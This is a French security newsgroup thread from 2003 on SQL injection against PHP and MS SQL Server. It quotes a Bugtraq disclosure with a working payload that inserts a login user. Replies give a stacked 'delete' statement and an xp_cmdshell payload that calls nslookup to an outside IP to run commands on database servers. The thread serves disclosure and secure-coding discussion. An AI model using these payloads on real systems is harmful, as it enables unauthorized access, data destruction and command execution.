Twitter iPhone pliant OnePlus 11 PS5 Disney+ Orange Livebox Windows 11

SQL injection

6 réponses
Avatar
Eric Razny
Pour ceux qui avaient commencé le challenge pointé par Nicob[1] (et pour les
autres) il y un message sur bugtraq qui est interressant.
Désolé je suis trop limité en temps pour traduire le message que je reprends
dans son intégralité ci dessous.
Basiquement SQL Serveur quote différement de MySQL ce qui permet du SQL
injection plus facilement quand le programmeur n'a pas fait gaffe.

Petit rappel au passage pour éviter le gag : évitez de trop faire confiance
aux sécurités "intégrées" dans php, perl etc. et effectuez vous même un
parsing des entrées utilisateurs. En plus une fois écrite la fonction est
réutilisable, alors à quoi bon s'en priver?

Eric.

[1] Grrr j'ai bloqué comme un andouille au niveau 3 et j'ai plus des masses
de temps la :)

----- Original Message -----
From: "Martin Sarsale (runa@sytes)" <runa@runa.sytes.net>
To: <bugtraq@securityfocus.com>
Sent: Thursday, December 04, 2003 8:39 PM
Subject: Intresting case of SQL Injection

> Yesterday, we found an interesting case of SQL Injection.
>
> The application was developed under PHP 4.2.1, Apache and MSSQL.
>
> We started our tests by adding a ' (single quote) to the POST info.
>
> Since PHP escapes ' and " , turning the ' into a \' but SQL Server uses 2
> single quotes ('') to escape a quote (') we were allowed to execute our
> code:
>
> select * from users where username='\'; sql code to execute here;--
>
> Then, we wanted to insert a record on the "users" table (fields username
> and password, both varchar).
>
> We found that the application used md5 to store the user passwords but
> there was a problem: since PHP was auto escaping quotes, we couldn't set
> the md5 password as a string because sending:
>
> insert into users values ('username','password');
>
> would be escaped into
>
> insert into users values (\'username\',\'password\');
>
> resulting in a sql error.
>
> So, we had to figure out how to insert the username and password as
> numeric values. Since both fields are varchar, when inserting a number SQL
> server will cast the number into a string.
>
> This is:
> inserting 123 (numeric) into a varchar field is the same as inserting
> '123' (string).
>
> The username part is easy, we could insert '12345' as the username (any
> number will work here), but we found a problem with the password: We need
> a known string which it's md5 hash is ALL NUMERIC.
>
> Then, we coded a simple PHP script and found that md5(1518375) =
> 93240121540327474319550261818423
>
> After that, we sent to the app:
>
> '; insert into users (username,password) values
> (12345,93240121540327474319550261818423);--
>
> which escaped became into:
>
> \'; insert into users (username,password) values
> (12345,93240121540327474319550261818423);--
>
> (valid SQL)
>
> Finally, we logged into the webapp using '12345' as username and '1518375'
> as password.
>
> The main problem here was that developers where trusting in PHP auto
> escaping which worked in MySQL (and probably PostgreSQL) but not in MSSQL.
>
> Alejandro Pomeraniec (apomeraniec at buenosaires.gov.ar)
> Martin Sarsale (msarsale at buenosaires.gov.ar)

6 réponses

Avatar
Emmanuel Florac
Dans article <3fd1867f$0$17124$,
disait...

Petit rappel au passage pour éviter le gag : évitez de trop faire confiance
aux sécurités "intégrées" dans php, perl etc. et effectuez vous même un
parsing des entrées utilisateurs. En plus une fois écrite la fonction est
réutilisable, alors à quoi bon s'en priver?



Pourquoi? Fondamentalement, qu'est ce que les fonctions intégrées font de
plus ou de moins que des trucs genre s/// qui feraient qu'on ne doit
pas s'appuyer dessus?

--
Quis, quid, ubi, quibus auxiliis, cur, quomodo, quando?

Avatar
Thierry Thomas
Samedi 06 décembre 2003 à 16:52 GMT, Eric Razny a écrit :
Basiquement SQL Serveur quote différement de MySQL ce qui permet du SQL
injection plus facilement quand le programmeur n'a pas fait gaffe.


Un autre truc marrant à tester, que MS Sql Serveur a hérité de Sybase,
c'est qu'il accepte que plusieurs instructions SQL se suivent sans
séparateur.

Ex.: si on a un simple 'Select toto from titi where tata=0', on peut le
transformer en 'Select toto from titi where tata=0 delete from titi'.
--
Th. Thomas.

Avatar
Eric Razny
"Emmanuel Florac" a écrit dans le message de
news:
Dans article <3fd1867f$0$17124$,
disait...

Petit rappel au passage pour éviter le gag : évitez de trop faire
confiance


aux sécurités "intégrées" dans php, perl etc. et effectuez vous même un
parsing des entrées utilisateurs. En plus une fois écrite la fonction
est


réutilisable, alors à quoi bon s'en priver?



Pourquoi? Fondamentalement, qu'est ce que les fonctions intégrées font de
plus ou de moins que des trucs genre s/// qui feraient qu'on ne doit
pas s'appuyer dessus?


Tout simplement parce que certains programmeurs utilisent des "combinaisons
de protection" (dans le cas présent php+mysql) qui ne marchent pas quand on
change un des composant (et le programmeur ne pense pas que mySQL va devenir
PostgreSQL, Oracle, etc. alors que l'utilisation de SQL a justement comme
avantage une certaine portabilité -hum, je sais, triggers, tout ça... !- ).

Je suis OK avec toi si on utilise les fonctions du langage dans lequel on
écrit pour parser les entrées. J'affirme juste qu'il est plus prudent de le
faire complètement que de s'appuyer sur des paramétrages généraux qui
peuvent, de plus, virer suite à une (vraiment mauvaise, dans tous les sens
du terme) manip.

Et autant produire du code SQL propre avant de le balancer que de se dire
que monMachin va finir le nettoyage, non?

Eric.


Avatar
Christophe Garault
Dans le message ,
Thierry Thomas écrivit...

Ex.: si on a un simple 'Select toto from titi where tata=0', on peut le
transformer en 'Select toto from titi where tata=0 delete from titi'.

On pourrait donc exécuter un xp_cmdshell aussi si on a les

droits? Quand on connait le nombre d'applis asp qui utilisent le compte
'sa' j'imagine les dégats que ça pourrait causer!
J m'en va tester ça.

--
"Savez-vous à quelle vitesse vous rouliez?" demanda le policier ébahi.
"Non," répondit Heisenberg, "mais je sais exactement où je suis!"

Avatar
Nicob
On Wed, 10 Dec 2003 18:04:19 +0000, Christophe Garault wrote:

Ex.: si on a un simple 'Select toto from titi where tata=0', on peut le
transformer en 'Select toto from titi where tata=0 delete from titi'.

On pourrait donc exécuter un xp_cmdshell aussi si on a les

droits? Quand on connait le nombre d'applis asp qui utilisent le compte
'sa' j'imagine les dégats que ça pourrait causer! J m'en va tester ça.


Je confirme, ça marche même avec un xp_cmdshell, tant que l'appli a les
droits suffisants. J'utilise d'ailleurs lors de mes tests d'intrusion un
truc comme :

bla' exec master..xp_cmdshell 'nslookup bingo.com my.public.ip' --

Bien évidemment le "bla'" peut être remplacé par "52", selon les
besoins de l'appli sous-jacente. C'est d'ailleurs marrant de rooter des
serveurs SQL situés dans leur propre DMZ, injoignables en direct et ne
pouvant sortir qu'en UDP/53 :)


Nicob


Avatar
Nicob
On Sat, 06 Dec 2003 16:52:11 +0000, Eric Razny wrote:

Pour ceux qui avaient commencé le challenge pointé par Nicob[1]


J'ai (enfin) mis en ligne une petite doc sur le concours :

http://nicob.net/warsql/


Nicob